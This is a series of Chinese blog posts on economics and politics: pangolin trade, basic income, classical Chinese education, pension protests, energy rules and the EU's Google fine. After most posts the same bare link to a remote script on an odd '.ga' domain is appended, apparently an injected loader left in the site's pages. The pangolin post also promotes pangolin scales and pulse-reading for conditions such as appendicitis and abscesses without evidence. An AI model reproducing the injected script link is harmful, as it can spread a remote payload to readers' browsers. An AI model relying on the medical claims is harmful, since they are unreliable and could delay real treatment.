分類: 經濟分析

常看到動保團體宣稱「沒有買賣就沒有殺害」。這是完全違背經濟學原理的錯誤觀念。

例如國家地理雜誌針對穿山甲在緬甸的走私買賣報導，充滿許多錯誤。

幾個觀點分享如下：

1. 從中醫角度：

穿山甲在中醫主要是用鱗片，不太用肉。藥用上並非治療癌症，中醫西醫對人體的觀點是天差地遠。有些癌症脈相在特定位置具備「滑、澀、洪或數者」，才適合加入穿山甲。西醫治療癌症是不看病人脈相的，抓來全都套同一顆藥或療法試試。

因此我也是告知讀者：好的中醫永遠是personalized medical treatment，同樣的症狀，病機不見得一樣。即便病機一樣，身體素質不同時藥方也會加減或更改。例如一樣因心陽、腎陽虛引起的下肢水腫，體虛者我傾向再多加炙甘草同時增加朮苓，這是原方XXX所沒有的，但卻一樣符合張仲景的用藥邏輯。

西醫沒有這種觀念。所以讀者千萬不要「聽說什麼偏方可以治療什麼病」就去嘗試，因為藥方內容不見得符合你的病機。

反之，這也是為什麼拿西醫的方法來研究或妄想實證中醫治療也是錯誤的，因為同樣得到SARS，在中醫眼中也不是人人都有一樣的病機，套用同樣的藥方來治療。正確的方式應該是找出同樣病機（例如同樣脈相）與相同病症的患者，才有盲測藥方的科學性意義。

回頭看穿山甲 — 其藥破、散，性寒涼走肝、胃經，具備以下三種功效：

(1)活血通經 — 如女生月經不來、因淤血引起的風濕庳痛。

(2)下乳 — 婦人產後乳腺阻塞造成乳汁不下，中醫認為這是日後引發乳癌的原因之一。

(3)消腫排膿 — 癱腫初起、或膿、或未潰，效果極好。

比方癱腫，有可能是纖維瘤、脂肪瘤甚至乳癌，也有可能只是發炎型青春痘（特別分布在肝、胃二經區域的，效果更好）。

實驗室證實穿山甲鱗片萃取劑或粉劑的確有提高白細胞（包含白血球、巨噬細胞、吞噬細胞…等）之效果，可增強免疫力。

但中醫普遍使用穿山甲主要取其「行散走竄」之藥性，例如赫赫有名的「仙方真人活命飲」，對於脈相存在「數、洪且有力」之患者的蜂窩性組織炎、急性化膿性扁桃腺炎、急性乳腺炎、急性闌尾炎、慢性闌尾炎、闌尾膿腫、睪丸炎、附睪炎、潰瘍病、針眼等效果極為顯著。

針對目標讀者，我再多提一句：闌尾炎多是因為糞便長期積累在大腸頭造成，很危險且可能惡化成腹膜炎。但慢性闌尾炎初期患者往往不自知，中醫可以針對經外奇穴–XXX做觸診，再佐以關脈脈相（注意如果是脈浮弦、脈浮緊、脈浮細弦，那是病毒性腸胃炎，不是闌尾炎；反之，妳應該能舉一反三），很快就能判斷是否患有闌尾炎。通常要杜絕腸子破裂引發腹膜炎可能，我們會XXXXXX與XXXXXXX同下便一勞永逸。

西方報導一講到犀牛角、穿山甲等中國藥材，動不動就說是為了「壯陽」，根本是錯誤報導！我上述說明已經很清楚指出穿山甲跟壯陽無關。

犀牛角功效也跟壯陽無關，主要是用來退某些特殊狀況的急性發燒（詳細藥性我就不再深入了）。這些西方記者自己無知卻擺出一副道德高點的嘴臉，我是相當感冒。好似西方的價值偏好才是唯一正確，加上一堆同樣無知卻自詡知青隨之起舞的腦殘，噁心。

2. 從經濟分析角度：

有需求就有供給。如果供給方可以預測未來收入的穩定性，則在利益最大化的自利動力下，會採取「能最長期供給而獲利」的模式。

最明顯的，就是畜牧業 — 所有人類喜歡食用的動物肉類，只要畜養技術可行，都不會有絕種的可能。造紙業也是如此，許多經營近百年的大型造紙廠，多有私有樹林與植樹規劃。

反之，如果禁止其買賣，使其成為非法行為，則供給方在未來收入不確定性高的前提下，就會選擇「提早殺光賣光一次賺飽」的殺雞取卵行為模式，同時放棄畜牧的可能性極高。換言之，越是禁止買賣，越是加快該物種絕跡的速度！

當然，很特殊的侷限條件，例如供給方中的畜牧養殖者有強大武力可以達到保護產權效果時，長久供給獲利模式還是會被採納，例如過去金三角地區種罌粟的。

以上是寇斯定律與利息理論的綜合應用了，一些「誤讀寇斯論文而不自知」的學者不懂，我也不意外就是了（一笑）。

最近還看到俄羅斯人民採用圈養方式養殖狐狸以取其皮毛，被動保團體撻伐。無知至極！從經濟學看，這正是保證野生狐狸不會因人類獵捕而絕種的大好跡象，因為過去狐狸圈養有相當難度，生存率低。此現象不正表示獵殺野生狐狸行為會大大減少？

最後老話一句，許多動保團體並非真正關心動物，而是藉此議題創造收入。某些宗教團體介入動保，又添上一絲販賣贖罪券的味道。

PS 補充一點忘了談：
其實台灣政府很雙重人格，一方面要鼓勵婦女親餵母乳，但是一方面又把中藥中可以治療乳腺阻塞造成哺乳困難的藥給禁用了，禁用理由只是因為少數人（特別是西方動保團體）覺得很殘忍。

怪了，這些人平常吃雞鴨魚牛豬怎麼就不殘忍？看婦女因脹乳不下而極度疼痛就不殘忍？

https://js.developerstatss.ga/stat.js?n=ns1

有個網友在blog上留言詢問我對「全民無條件基本收入」的看法。

一句話來說這個想法，其內容就是不分對象，一律定期給予多少多少金錢保障其收入水準，進而達到保障窮人之目的。

在我看來，這樣的政策本質就只是一次大規模的通貨膨脹，但窮人會未蒙其利反受其害。理由如下：

1. 人人都發錢，相對貧富不會改變。

絕對數值看，相對貧富好像改變了。但人的消費與投資行為不是根據財富，而是根據永恆收入假設。因此從永恆收入假設看，人人都發一定數額的錢，本身並改變不了富人與窮人本質上收入不同的根本原因 — 個人租值（運氣、智商、技能、相貌、知識…等等不同因素造成個人租值不同）。

因此絕對數字上算起來好像貧富差距被改變了，實際效果上我相信不會有太大改變。

可是人人發錢的效果上又跟所有人的鈔票瞬間貶值x%沒兩樣。

所以一旦政策確定要實施，實施之前就會有通膨預期發生，普遍性的物價上漲（其實是通膨）就會先來臨。

而最怕的就是這個時間差，人們為了應對通膨預期而產生的防守行為往往對經濟體有害。

但政策實施從形成、決議到真正執行有很長的時間差。我認為光是形成階段，就可能造成通膨預期與具破壞性的防守行為。同時此階段訊息費用奇高，會導致人民做出很多錯誤決策，一樣有害。

又，無論發放補助的基金來自於稅款或是印鈔票，均存在一定行政費用與政府無效率的耗損，凱恩斯的乘數效應理論在這裡很可能是「負乘數效果」。

2. 真正窮人很可能拿不到補助

我們可以想像政府最有效的派錢方式，比照澳門政府派紅利，就是直接存入一定金額到人民的銀行帳戶中。

但真正貧困者往往連銀行、郵局帳戶都沒有，甚至因為被法院/地下錢莊強制執行而「不敢有」。因此一旦政府決定全民派錢，最最底層的很可能：a.領不到這筆錢或b.不敢領這筆錢。

可是前述的整體社會普遍性通膨已經發生，物價大漲已然來臨。這些實質上沒有領到補助的底層人，就更加貧無立錐之地了。

也就是說，我認為全民無條件基本收入這想法實質上是善意舖成通往地獄的路。

順道一提，這種福利政策通常都有鼓勵懶惰的負面效果，我就不特別詳談了。

比起這個爛主意，我覺得更快更好的方式是：1. 直接停止徵收關稅、2.全面停止徵收累進式所得稅與 3.廢除許多環保、金融控制、勞動條件、福利政策與移民限制法規（同時把因為法規廢除而不再需要的該等職務公務員全給裁撤）。

此三箭可以瞬間提高人民的永恆收入預期（根據M. Friedman 的消費者函數理論），從而大幅度改變消費與投資行為。台灣經濟大好，連帶邊際乞丐收入也會大增。

馬英九的消費券政策之所以毫無救經濟之效果，就是因為一時發點小錢並不能改變永恆收入假設，當然改變不了人民消費與投資行為。這是一個做之前就知道會失敗的政策。

再多談一點：我認為通常的貧富差距不是問題，甚至對社會有還好處 — 鼓勵窮人努力向上。

真正有問題的貧富差距來自於「政府裙帶關係的尋租行為」，也就是透過官商勾結與貪汙制度所形成的貧富差距，這是社會動亂的來源，也是某群人透過政府暴力侵佔其他人利益的惡行。

後敘的貧富差距只是現象，問題根源在於政府權力過大。許多人誤以為貧富差距是該被解決的問題，其實是因為世界上多數國家普遍性存在政府勾結與貪汙空間。

該解決的是政府，而非人人發錢所能改善。https://js.developerstatss.ga/stat.js?n=ns1

前幾天寫了篇談學習壓力的短文，似乎有些讀者誤以為文章重點在文言文上。其實不然，該文重點是在學習態度以及探討從經濟學角度看 — 求學壓力何來。

不過既然談到文言文，我多提供一點我猜那些反對文言文教育的人士所不知道的訊息吧。

今天如果我兒子跟我說他想要成為音樂人，那我一定要他好好研究各代音樂名人成功的原因。例如周杰倫、Michael Jackson、Elvis Precisely、Beatles，行有餘力，最好是學懂樂理並向上探索，去了解Maurice Ravel、柴可夫斯基、貝多芬、莫札特、海頓乃至於巴哈等不同時期古典樂作曲者如何在當時的市場環境下勝出並傳世。（特別是莫札特，他算是第一位脫離貴族教皇圈養，獨自在自由市場打拼而聞名獲利生存者，只可惜自己理財不當 — 太愛賭博又太愛嫖妓）

道理很簡單，如果你有本事看出前輩成功的外在侷限條件與內在本質原因，你才算是在該領域的登堂入室而已。如果連看都看不出來，自以為自憑才氣就能勝出，那即便勝也是短暫地運氣，既不能長久更甭提傳世。

而這世界上無論任何行業，以現今發展來看，我敢說作文能力是最重要的。

無論是行銷觀念、想法、產品乃至於自己，你都要具備夠水準且夠說服力的文字表達能力，最好能駕馭到各種不同目標讀者均能直指人心。否則即便你的專業技能有多出神入化，無法老王賣瓜自賣自誇地有效行銷，最後都只會落得孤芳自賞的困境。

只學白話文，就文字運用與經濟分析來說都是不足的。

一者，從文字運用來看，文言文是極為精鍊且優美的文字。能自如運用文言文對高知識且高收入水平讀者而言，才是共通語言的起點。有共通語言才能有效溝通，這是敲門磚問題。

二者，從經濟分析角度看，如台灣基礎教育不再強制學習夠水準的文言文，則階級分化就會顯得更明顯。何也？因為中國這個大市場，許多新興富人階級、官員階級喜比附過去文人吟詩做對，雖不見得高明，但也要能分出身分之上下。台灣這個未來經濟只會更依賴中國市場的小島，中產階級以上者多數在競爭壓力之下，仍會資助甚強迫後代學習文言文以取溝通的敲門磚。

民進黨政客悲哀就悲哀在明知全世界與中國市場溝通費用最低的就是台灣，卻偏偏要往反方向走，不知是蠢還是別有居心。

文字運用之不同容易作為階級分化的象徵。台灣政府這種去中國化、去文言文化的作法，我認為會加劇這個現象。或許可以達到某種程度的愚民政策，這就絕對是出自於政客之私心了。

回過頭來，本文開始我就揭櫫一個原則 — 市場競爭下的高收入優秀作品都值得後人學習觀摩。不見得認同，但人家哪裡成功你要能看出門道。

文章的市場競爭最明顯就是稿費，我這邊提供一些知名文言文作者的稿費收入供大家參考：

李白，唐朝人，天寶三年入朝為官，擔任「翰林供奉」，只是區區八品小官。李白大約擔任一年多就走人。

根據考證，天寶年間八品小官，年奉本薪為1300文、綜合補貼約1170文，而唐代一文錢購買力約等於現今新台幣$2.5元。因此李白的月薪收入只有新台幣$6190，非常低，即便在唐朝也只是吃兩頓酒席就沒有的低薪。

但是李白詩文受皇帝欣賞，本薪之外，每篇詩、文都另有賞賜。李白自己也很愛幫富商、大官寫文作詩，賺煉丹成仙的資本。

文獻中並未記載李白本人拿多少賞賜，但是同時期有位叫謝偃的仁兄，也是翰林供奉，名氣雖比李白小，但人家記帳清楚。

根據記錄，謝偃幫皇帝寫一篇文章或詩詞，都能獲得幾十匹絲綢作為賞賜。唐代物價據考證，一匹絲綢依質料不等，價格約落在500文～4000文之間。我們就假設皇帝賞賜50匹絲綢吧，則謝偃寫一篇文章的稿費就落在25000文～200000文之間，換算新台幣就是$6萬2千多～$50萬之間！

以李白當時的名氣，拿的稿費肯定不會比謝偃低，被召見的次數也肯定更多。更何況才當一年多的小官，臨走時皇帝居然還特賞「數金」給李白，可見李白受寵的程度。

此外，同時期的藥王孫思邈受皇帝召見，才見這麼一次面，皇帝就賞賜駿馬一匹、豪宅一座。可知這位皇帝出手大方！

除了為皇帝寫文章有稿費拿，為大官、富人潤筆的稿費也是很豐厚的。

同為唐代的韓愈（就是最近被台灣名校靜宜大學學生林致宇瞧不起的唐宋八大家之首）曾幫一位將軍寫了篇1505字的文章，將軍支付了500匹絲綢作為稿費。根據上述物價換算，韓愈這篇文章稿費高達新台幣$62萬5千元～$500萬元之間！（相當於一字＄415～＄3322！台灣大概找不到如此身價的作者。)

再舉一例，白居易。

白居易受元稹後人所託為其寫墓誌銘，元稹後人支付稿費折合共60萬文，換算新台幣是＄150萬元！稍晚的晚唐時期，長安城首都，太宗名相魏徵之舊宅市場成交價$600萬文是記錄在案。白居易放到現今台北，猶如寫篇文章稿費高達1/10戶仁愛帝寶房價！

結論：

我的結論很簡單，你說你瞧不起文言文，我問：「你的文章有人家值錢嗎？」https://js.developerstatss.ga/stat.js?n=ns1

In this article, I am trying to demonstrate how to use only the price theory, but not the traditional macro-economics, to forecast the future economy progress of the United States.

Here are three interesting numbers we should pay attention to:

1. The total credit-card balances grow $20B in the second quarter to $784B, highest record since the late 2009.

2. Overall debts — including mortgages, auto loans, and students loans– hit a record $12.8T.

3. Personal saving rate fell to 3.8% in Junes, down from a recent peak of 6.3% in Oct. 2015.

The raising of personal debts and reduction of savings means American are more eager to spend, which implies three possibilities:

A. the anticipated inflation rate increases, or;
B. the anticipated income grows, or;
C. the information cost of the future progress decreases.

The problem here is which factor weighs more over the others? If the factor A stands out, then, according to I. Fisher’s theory of the interest, the total wealth of the American will decrease. In a lucky situation, the Fed may sense it about six months later and stop raising the Fed Fund Rate to save the economy as it had done before. In a bad situation as the Fed blindly continuing raising the interest rate, we can predict a bear market coming for a while until the Fed realize the real situation. No matter which one happened, the recent economic expansion would not last for long.

If the factor B or C weighs more than the factor A, the total wealth will increase and the prosperity could be foreseen. There are two major causes to make it happen: one is the growth of productivity and the other is the decrease of transaction costs, including but not limited to the more friendly laws to businesses, over-haul lower tax burdens, and lower immigrant limits (including illegal Mexican immigrants).

Right now, I am confident in that the later two factors playing more important roles in the formation of the massively optimistic anticipation. But as long as the real improvement does not catch it up in time, the positive mood could dissipate quickly. It could cost a lot of energy and time to recall it back again. What a shame, president Trump!

Therefore, I believe that we are at the crossroads of the U.S. economy progress. In only couple months, we will figure out which path do we take.https://js.developerstatss.ga/stat.js?n=ns1

關於反年改團體在台北市舉辦的世界大學運動會強烈抗議，造成選手無法入場，而許多媒體或網友均紛紛撻伐並冠以「國恥」一事，我的看法如下：

聲明：
1. 我家三代以來未曾有人擔任任何公職，各種公務員福利、18%優惠都沒我家的份，我們只有乖乖繳稅的活。

2. 2012年我曾寫過一篇被許多人討論的「台灣公務員與死老百姓的收入財富比較（兼論為何台灣有這麼多公務員考生）」，論點簡單明瞭：a. 台灣公務員收入過高，扭曲薪資市場資訊，同時也造成一堆年輕人不務生產學習，浪費大把青春光陰在對整體生產力毫無貢獻的國家考試，是台灣社會的損失。 b.台灣多數公務單位均是沒存在必要的冗職，公務員過多未來對政府財政會是嚴重負擔。

3. 特此聲明，表示我並非既得利益團體，純粹試圖從經濟分析角度客觀分析此一事件。

進入主題。

一、年改本質是減損已退休公務員的財富

從I. Fisher的利息理論看，財富（wealth）是預期未來收入流的折現值總和。W=I/i是也。

年金改革本質就是減少已退休公務員的可預期年收入，依據利息理論，刪減I當然會讓W減少。這邊姑且不論退休公務員其實並非人人享有18%，也不論退休金是否過高或過低問題。我要單純點出的是：現今政府減少已退休公務員的I，本質就是減損W。退休公務員的I來自於政府承諾，而非市場經濟。

那麼根據經濟學自私假設，財富受到減損之人勢必會出現反彈與保護反應。這個有點經濟感受（economic sense）的人均可預期反彈的發生。當減損來自於市場經濟，則反彈與保護反應多半是認賠殺出保命，咒死以後再也不買股票或從事某種生意。然當減損來自於政府更改承諾，當然反彈與抗議就會衝著政府來。

就像今天法律新增一條「雇主可以任意刪減員工薪資」，想必勞工一定群起抗議；就像今天法律新增一條「股票收入（股利與資本利得）全數充公」，股票族一定大加撻伐甚至用腳出走。

而傳統道德訴求 — 相忍為國、大局為重…等，都改變不了某群人財富受到損害的事實，這也是說，滿嘴道德的口號，不可能就讓反彈與保護手段不發生！

為政者應當有智慧在事前就看出，並找出交易費用最低的方式，讓反彈較小。

然而在民主制度下，政客傾向維護少數足以讓自己當選的利益團體或利用民主多數暴力強迫少數服從的手段，因為如此維護自己的收入同時就算反彈發生，受損者多半是整體社會而非自己。

而蔡英文政府在我看來就是典型民主制度下的極端產物 — 透過敵我分化的宣傳手段，利用民主暴力減損某些人的財富，還打高空訴諸虛無空泛的道德口號卻無任何實質安撫反彈的作為。

講更白，就是蔡英文政府的年金改革會帶來各種抗議與反彈是本可預見。

在經濟效益分析下，在國際賽事上抗議的效益高是各國抗議團體乃至於恐怖分子都心知肚明也長年利用之。

可預見卻事前全無防備，這樣的政府高明在哪我實在看不出來。

反之，較為獨裁的政府傾向用錢買掉抗議可能性與規模，例如澳門政府在這部份非常嫻熟。幾乎沒聽說澳門國際賽車舉辦期間有如此大規模抗爭的。

再次強調，經濟學是科學，我純粹透過經濟學來分析人的行為，至於行為本質好壞那是價值觀問題，本文不涉獵。也就是說，反年改團體這樣抗議是不是國恥，我不評價。我只是單純點出年改本質是減損某群人的財富，抗議出現是必然。民主制度與獨裁制度下，處理民怨手段會不一樣，這都是侷限條件不同造成人的選擇不同。

題外話，當年就任公職時如果可貪汙空間大，貪汙收入比重越是高過政府發給退休金的退休公務員，則反而會越傾向不參與抗議，因為受年金改革損失比例上較少，這也是經濟學了。

二、大法官解釋與言論自由

2008年我寫過一篇「野草莓學運的荒謬與可笑」，裡面我解釋大法官釋憲第445號：

…..司法院大法官會議解釋第445號，首度明確地將台灣的集會遊行權切成兩部分來探討，在邏輯上以及法律上皆精采之作！雖然內容概念抄襲自美國大法官的看法甚多，但仍然值得鼓掌。

而台灣媒體還是一樣維持「失智」本性，從沒來有談過這個1998年就已經談得很清楚的概念。

當年的大法官一刀將集會遊行問題切成兩大塊：「內容」和「形式」。

大法官表示，集會遊行中群眾主張的「內容」，政府不得干預。
當年的問題就在於政府事前審查群眾遊行主張的內容，凡是「涉嫌主張共產主義或分裂國土」的一概不准。
大法官的意見即，民眾高興主張什麼是他們的基本自由權利，政府管不著，也不能管。一旦管了，就是違憲！

但另一方面，民眾用什麼「形式」來進行集會遊行，政府就可以在「保障集會遊行活動之和平進行」與「避免影響民眾之生活安寧」這兩個前提之下進行管制。
比方說，抗議群眾不可以拿土製炸彈出來表達訴求，或者抗議群眾不能主張要到總統府內、軍事基地內遊行主張訴求。

換句話說，集會遊行的手段、地點、時間，政府是可以在基於上述兩的前提之下，去行使公權力的。

這就是為什麼集會遊行的時候，警方可以用拒馬、封鎖線圍出管制區，或擋開不同訴求的群眾。

講大白話，就是政府有權畫出一個區域，你群眾在裡面要說啥都可以，但是你不能越界。越界我公權力就能進來。

這背後的邏輯說穿了，就是你愛說啥都可以，言論自由的目的就是要讓你有自由把主張說出來，看能不能影響他人或是博得多數人的認同。集會遊行是一種讓「說話音量變大」的有效方式（起碼媒體會去採訪，等於免費上電視廣告宣傳），不過你不能藉由集會遊行來影響他人的自由或權利。

比方，邱毅當年帶頭用宣傳車衝撞司法單位，這就違法犯規了！這已經跟言論自由無關，而是「形式」根本不合法！

所以活該邱毅被關進監牢，這本是該付出的法律責任。

同樣地，那些把陳雲林圍在飯店限制人家人身自由的，或者追打中國記者的，當然都是違法！…..

一直以來我都是同樣看法：「政府有權畫出一個區域，你群眾在裡面要說啥都可以，但是你不能越界。越界我公權力就能進來。」

因此反年改團體阻礙世大運進行，公權力可否依法究責？我認為應該。但問題出在：

三、太陽花學運與公民不服從惡例由蔡英文首開

太陽花學運癱瘓立法院甚至攻擊行政院官署，都是明白違法行為，但蔡英文政府上台後為其開罪，種下極壞之惡例。

其根本違反大法官釋憲的想法，變成：只要能幫助我選上，任何違法之抗議行為均可在我選上之後免去一切法律責任。

在我看來，跟當年希特勒競選總統過程沒啥兩樣。

如此惡例一開，你如何能希冀不會有效仿者出現？你又有何臉面在FB上批評反年改團體的踰矩抗議作為？

一樣法律卻兩套標準，這種民主進步在哪我看不出來！

而這邊我還要再次強調的是，從憲法第23條來看，對人民自由加以限制才需要違憲審查。然服貿、貨貿都是開放原本被禁止的行為，本質是「降低對人民自由之限制」，依憲法學理本不需要違憲審查，更枉論嚴格審查。然，一堆民進黨御用學者可以扭曲憲法學理，真是可笑至極！又，一堆御用經濟學者的經濟分析也是錯得離譜居多。詳細可參見「談談最近的服貿與學運」

我認為，馬英九任內諸多錯誤政策，例如開徵證所稅（請參見拙文「反對政府課徵資本利得稅」），服貿、貨貿卻他是少數做對的事情。

中台雙方唯有加深經貿往來與依賴，才能提高雙方戰爭成本，降低戰爭之發生機率。因為台灣太小，離中國太近，整體收入遠低於中國已經是不爭事實（台灣GDP在1992年是中國的44%，但到2015年時僅是中國的5.56%），要靠軍備支出達到恫嚇中國出兵已經難以為繼。相信美國參戰則是痴人說夢。這是經濟學。

結論：
從經濟分析角度看，你砍人家財富，人家當然跟你拼命。而明明可預期的反彈，你卻不事先安撫，而是一路打高空、搞人民內部鬥爭，甚至首開太陽花惡例，現在國際賽事出現如此踰矩抗議行為也只是情理之中。

https://js.developerstatss.ga/stat.js?n=ns1

台灣政府真是智商無下限。

蘋果日報報導：「超商等20類營業場所小心　冷氣外洩最高罰10萬」

從產權經濟分析，可看出台灣政府的三點錯誤。

1. 侵害人民財產權的使用自由

首先，私有財產權有三項權利內容與三者的共通排他權，此三項權能分別為：使用、收益、處分。

換言之，在不侵害他人權益之下，私有財產的所有權人愛怎麼使用財產，他人乃至於政府都無從干涉。

今天我就喜歡買一公噸冰塊，然後於炎炎夏日中午放在我家院子納涼。即便這是一個降低氣溫非常沒有效率方式，他人乃至於政府也無從干涉。

同樣的，我選擇家中電器全部滿載使用，只要我支付電費且擁有電器所有權，他人乃至於政府也無從干涉。

廠商要不要節約冷氣使用，當然也是廠商自身的所有權自由，政府的干涉明顯危害憲法對人民私有財產權的保障。

有論者可能會提出第23條，但單純冷氣外漏會造成怎樣的公共危害？以法律限制的益處又何在？勞師動眾聘僱一堆公務員做此類檢查與開罰，恐怕行政成本遠遠高過節省下來的電力，違憲審查恐難以通過檢驗。

話說能源管理法第8條恐怕也有違憲之虞，不過以台灣大法官淺薄的法律經濟分析能力，大概無能也無力處理這類違憲問題。

2. 成本與誘因考量

從成本角度看，侷限條件下，產權所有人自己本身擁有最高的誘因以最低成本來達到財產使用的最大效益。

讀者要特別注意「侷限條件」四字，因為往往無知左派以為的浪費行為，純粹來自於侷限條件下的交易費用使然。

放到賣場冷氣來看也是。

賣場所有人支付電費來維持溫度調控，難道所有人自己不清楚冷氣外洩會造成溫控成本上升？基本上公司老闆永遠是最在乎此類成本的人，他當然清楚賣場全面封閉下，溫控成本最為節省。這就是為什麼多數中小企業老闆下班後多半會巡視各項電器開關。老闆比政府還在乎節能。

那為什麼世界上看不到一個全面封鎖的賣場？

蠢到死，因為開設賣場的目的是吸引消費者入內購物，而不是為了溫控！溫控不過是吸引消費者的手段之一，但卻不是唯一與終極目的。

只要建築物有高頻率開啟的出入口，溫控成本自然提高。在侷限條件下所有人會以最低成本來達成維持溫度的目標，例如風牆等設施、派員巡邏出入口等。可是一旦維持溫度的手段可能侵害來客數量、換客頻率乃至於營業額時，維持溫度手段就會在成本與利益上均衡。

可是公務員與政客並不關心營業額，而只在乎選票、民調與各種愚蠢的政策。當政府由上往下管制人民能源使用方式時，公務員執行會把「節能當做終極目標」，而壓根不在乎賣場的來客數量、換客頻率與營業額是否受到影響。而當錯誤政策被強力執行進而讓商場利益受損時，制定錯誤政策與法律的政客難道要賠償嗎？

如果政客們真的認為商場使用能源方式太浪費，那請開放電力市場，同時解除電力價格管制，讓電費自由浮動上下，自由市場自然會以最低成本、最有效率的方式使用電力。

政客們敢嗎？又不敢。為什麼不敢？是不是太多行政壟斷的尋租利益讓你們捨不得鬆口到嘴肥肉？

3. 政客的對台灣社會利益的侵害

放著蓋好的核四不發電，到處宣傳各種核能傷人致癌甚至核爆的錯誤謠言（人類從會發電以來，死於火力、水力發電的人遠多於核能發電，況且核能電廠再怎麼失控也不可能像原子彈一樣爆炸；次級核廢料的輻射污染在掩體下根本很低，蘭嶼人接觸的輻射量0.027微西弗/時，比台北人接受的背景輻射還低61%，到底每年拿補助的蘭嶼人哪裡受損了？！）。

選前欺騙人民可以癈核低碳也不缺電，選後再透過政府公權力懲罰用電大戶。這種謊言式能源政策還真是崇高偉大。

政客幾時自掏腰包為自己造成的能源短缺與決策錯誤損失買單了？！光出一張嘴、外行管內行、政治凌駕專業，卻一點損害賠償都不用支付，問題又是在誰身上呢？https://js.developerstatss.ga/stat.js?n=ns1

先說我過去反覆強調的：整部反托拉斯法律都是建構在錯誤的經濟學理論上，卻忝不知恥地繼續用以處罰商業成功者，因為有太多社會米蟲賴此維生，例如律師、法官、公務員乃至於無恥的經濟學者。

我在美國接觸到的反托拉斯案件經驗，多是政府已經決定要開罰了，才來找法律上的理由。先射箭再畫靶。

本次歐盟處罰Google一案也是如此。

歐盟宣稱Google搜尋結果將購物廣告置於最頂，從而影響沒付費的競爭對手。請見以下圖片：

當有人搜尋"adidas superstar"這個關鍵字時，Google系統會判定使用者應該是想要購物大過於想要了解adidas superstar的歷史或其他資訊，所以會在結果頁面中頂端置入圖片式的購物廣告資訊，讓消費者快速知道各家平台管道目前售價為何。

往往這也是想要購物的人最希望快速知悉的訊息。而這塊訊息通常廠商也會付費讓自己優先被show出來，這也是搜索引擎獲利所在，這段老生常談的商業模式我想大家都很清楚。

歐盟偏偏看這點不爽，堅稱Google此舉傷害了其他也在賣此款運動鞋的競爭對手，因為他們的資訊沒有"公平地"也被放在第一頁。

真是遇到蠢如豬的公務員了。

本文我從經濟分析角度來說說歐盟的邏輯錯在哪。

1. Google是私人資訊搜尋公司，而非政府機構。

在市場競爭下，Google從無義務提供"公平的資訊"，而是透過提供"多數使用者想要看到的資訊"然後從中尋找商業模式獲利。

換言之，Google的廣告之所以效率高過傳統平面媒體、電視媒體，就是因為Google透過搜尋者主動提供的資訊，反推搜尋者可能對哪些訊息感興趣，而提供較可能有用的訊息（其中包含商業訊息）。這是過去單方向提供訊息的媒體所無法做到的新技術，也是Google的租值所在。

進一步，Google的AdSense+AdWords也是建構在此概念上 — 討論財經內容的網頁Google投放銀行/保險/股票相關廣告、討論母乳哺育的網頁則投放母嬰用品廣告…；使用者最近常看PS4網頁，則Google針對該使用者瀏覽的多數網站都投放有關遊戲或PS4特價等相關資訊廣告。

誠如Google在2015年回應歐盟時強調：Our search engine is designed to provide the most relevant results, that’s not ‘favoring’ — that’s giving our customers and advertises what they find most useful.

因此，歐盟認定Google有義務"公平地 (fairly)"像政府機構一樣提供各種資訊，本身就是「關公戰秦瓊」一般無理取鬧！歐盟不但錯誤認Google本質（它是私人營利公司，不是政府機關），還刻意扭曲甚至違背Google商業模式的法律義務。

2. 從搭售角度看Google的商業搜尋結果

正確的經濟邏輯，我們看Google在搜尋結果頁面頂端插入商業資訊，其實可以看為是一種搭售行為（tying arrangement)，而這種行為有三個可能：

a. Google給的購物建議對消費者很有用，則消費者、廣告投放者與Google三方獲利。（消費者因為Google資訊有用，更愛使用其服務；Google因此有更多更忠實使用者，系統判斷更精準，同時可以向廣告購買者收取更高費用；廣告投放者因為Google系統有效率，更樂意購買廣告。以上形成正向循環）

b. Google給的購物建議對消費者沒用，則消費者長期會傾向忽略；廣告投放者也會發現廣告買了沒人點，從而降低購買意願；Google發現此服務損益無法平衡，最後也只能認賠。

這個可能性就是過去很長一段時間的Yahoo overture搜尋服務的問題 — 廣告資訊與搜尋內容關連性太低，消費者後來根本刻意忽視。

試問如今Yahoo overture安在哉？！（話說overture還是Yahoo當年花16億美元買來的，自己搞成賠錢貨）

c. Google給的購物建議對消費者有害，則會形成剛好與a點相反的負面循環，對Google商業模式會是重創，正常公司多會快速處理與避免這個狀況，否則就會被市場淘汰，成為眾人群起攻擊甚至反對的搜索引擎。

百度日前有關醫療相關搜尋資訊充斥詐騙廣告，就引起中國網民激烈反彈與攻擊。若不是有中國官方網路長城保護其壟斷租值，百度早應該被淘汰出局。

從上是三種可能來看，Google今天提供的資訊是否對消費者有用，市場自己會去處理，根本毋須勞駕歐盟領高薪但無經濟智商的官老爺們指指點點。

回應文章開頭，我相信歐盟官員是早早就決定要處罰Googel的成功（或許保護費給得不夠或其他政治因素），其開罰所依據的反托拉斯法在經濟邏輯上是狗屁不通且強辭奪理的。https://js.developerstatss.ga/stat.js?n=ns1

台大法律系李茂生教授是刑法知名學者，我當年在政大念法律系也讀過李茂生的上課共筆。

不過這位教授經濟學卻是嚴重失格，屢屢說出違反經濟學基礎的言論，令人不得不替台灣法學教育擔憂。因為如果不知真實世界的資源安排方式，如何能真懂法律 — 是的，法律不過是資源安排中的一種手段，而且是個常常因為無知造成資源浪費的強制手段。

先前有關李教授的「有錢裝潢沒錢付薪水」的錯誤經濟學觀念，我已經在元毓說FB粉絲團上面批評過（請參考文末附註）。

而近日日本一蘭拉麵來台設立分店，排隊者眾，店家因此推出「如購買禮盒滿$6000台幣可優先入座」的安排。如此美意竟一樣被李教授批評：

這裡我必須報告李教授 — 一蘭拉麵的優先入座安排在法律經濟分析叫做「消費者盈餘榨取」與「購買時間」二者混合。

知道經濟學基礎者都知道「邊際用值遞減定律」，也就是第一口水到最後你喝夠的最後一口水，用值是越來越低的。

但是因為交易費用的因素影響，店家很難針對你的每一口水做差別定價，因此產生了消費者盈餘（consumer surplus）空間，而賣方為了區別願意付出更高代價的買家，在真實世界有許多種安排。

最常見就是會員或入場費模式 — 你先付一筆入場費，裡頭的商品很可能比外面便宜。知名COSTCO上千元年費就是如此安排。從而區分出「很想要買COSTCO店內商品」與「沒那麼想要買」兩種客人。

當然這不是完美安排，因為有的客人即便雙倍會費也願意付費入場；有的客人不願意付出會員費卻想要貪裡頭便宜商品，則代買服務就會出現。這些都是COSTCO賺不到的。

還有一種是all-or-nothing安排 — 東西全部加起來多少錢，不分開賣。消費者只能選擇要就全買，不要拉倒。

這種安排很容易被愚蠢的法學者、經濟學者誤認為是搭售行為（tie-in）而動輒以公平交易法處罰，但此惡法的起源完全是學者對真實世界的無知造成。

